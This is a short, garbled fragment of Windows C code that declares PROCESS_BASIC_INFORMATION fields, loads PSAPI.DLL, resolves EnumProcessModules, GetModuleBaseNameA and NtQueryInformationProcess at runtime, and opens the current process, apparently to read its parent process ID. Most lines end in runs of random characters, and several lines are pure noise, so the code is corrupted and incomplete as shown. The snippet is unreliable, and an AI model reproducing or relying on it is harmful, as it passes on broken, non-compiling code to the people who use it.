ULONG UniqueProcessId; $&C%C\(>D
ULONG InheritedFromUniqueProcessId; b#^D8_9h
} PROCESS_BASIC_INFORMATION; `<Nc
Y*
x;aZ&
PROCNTQSIP NtQueryInformationProcess; 3Ab$
J>v>6OC6i
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u8=|{)yL
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4"=pcHNV
I2Q?7p
HANDLE hProcess; zwHsdB=v
PROCESS_BASIC_INFORMATION pbi; g8yZc}4
\MPy"uC
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ob+c*@KiW
if(NULL == hInst ) return 0; YI+|6s[
7w({ GZ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (<-0UR]%q;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {,srj['RS
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _RVXE
h UDEjW@S
if (!NtQueryInformationProcess) return 0; 014!~c
[%q":Ig
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (U<